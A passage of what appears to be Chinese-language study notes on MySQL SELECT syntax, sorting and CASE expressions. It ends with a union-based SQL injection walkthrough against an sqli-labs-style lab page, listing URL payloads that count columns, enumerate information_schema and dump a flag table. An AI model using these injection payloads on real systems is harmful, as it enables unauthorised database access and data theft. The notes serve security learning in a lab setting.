去重查询: selectdistinct ... ; 单字段查询:select [字段名称] from [表名称]; 多字段查询:select [字段名称], [字段名称] from [表名称]; 查询所有: select * from [表名称]; 查询函数: select [函数名称]; 查询表达式:select [运算公式]; 查询常量: select [常量];
取别名:
1 2 3 4 5 6
1. [原名称] as [新名称] 2. [原名称] [新名称] 样例: select first_name hahaha, last_name as hehehehe from users; 当新名称中含有特殊字符,请使用引号包裹起来如下: select uid as "e eee", sex "a aaa"from users;
例: 查询名字第二个字符为'_',第三个字符为'%'的字符串 select * from users where username like '_\_\%%'; select * from users where username like '_a_a%%' ESCAPE 'a';
between and
In
is null
1 2 3 4 5 6 7 8 9
between [条件] and [条件] In [条件] is null [条件] 例: 查询 id 1-3的用户 select * from users where id between 1 and'3'; select * from users where id in("1", 2, '3'); 查询 id 为空的用户 select * from users where email is null;
排序查询
语法
1 2 3 4 5
select [查询列表] from [数据表] where [筛选条件] order by [排序列表] [asc|desc] 注意:排序列表可以为表头,表示通过该字段排序,当为数字n时,表示通过当前查询的第n个字段来排序。比如下表结构中:select username from users order by 1; 表示通过username排序查询, 如果把 1 改为 2 则报错。而 select * from users order by 1; 表示通过 id 排序查询, 如果把 1 增加到 5 则报错。即如果数字超出查询字段的个数范围则报错。
解释:asc为升序,desc为降序,默认为升序. 例子:
1 2 3 4 5 6 7 8 9
desc users; # 表结构如下 +----------+-------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(20) | NO | | NULL | | | email | varchar(50) | NO | | NULL | | | password | varchar(32) | NO | | NULL | | +----------+-------------+------+-----+---------+----------------+
1.普通排序
1 2 3 4 5 6
select username from users order by username asc; select username from users order by 1 asc; select username from users order by username; select username from users order by 1; select username from users order by username desc; select username from users order by 1 desc;
2.表达式排序
1
select * from users order by (-id*id+4*id-6) asc;
3.别名排序
1
select username haha from users order by haha desc;
4.函数排序
1
select * from users order by length(username) desc;
5.多项排序
1
select * from users order by length(username) desc,username desc;
1. case 要判断的字段或表达式 when 常量1 then 要显示的值1或语句1 when 常量2 then 要显示的值2或语句2 ... else 要显示的值n或语句n end 2. case when 条件1 then 要显示的值1或语句1 when 条件2 then 要显示的值2或语句2 ... else 要显示的值n或语句n end
判断查询字段数 http://192.168.10.109/Less-41/?id=1 order by 4# http://192.168.10.109/Less-41/?id=1 order by 3#
查看回显数据 http://192.168.10.109/Less-41/?id=-1 union select 1,2,3#
查看当前用户、数据库名称 http://192.168.10.109/Less-41/?id=-1 union select 1,user(),database()#
查所有数据库 http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(schema_name) from information_schema.schemata --+
通过表名的hex值或者表名查某个库的表(不过这题需要用hex值),hex值可以用python的 http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=flag --+
http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=0x666C6167 --+
查询表的字段名 http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name=0x666C61677461626C65--+
查表数据 http://192.168.10.109/Less-41/?id=-1 union select 1,user(),group_concat(id,0x3A,flag) from flag.flagtable--+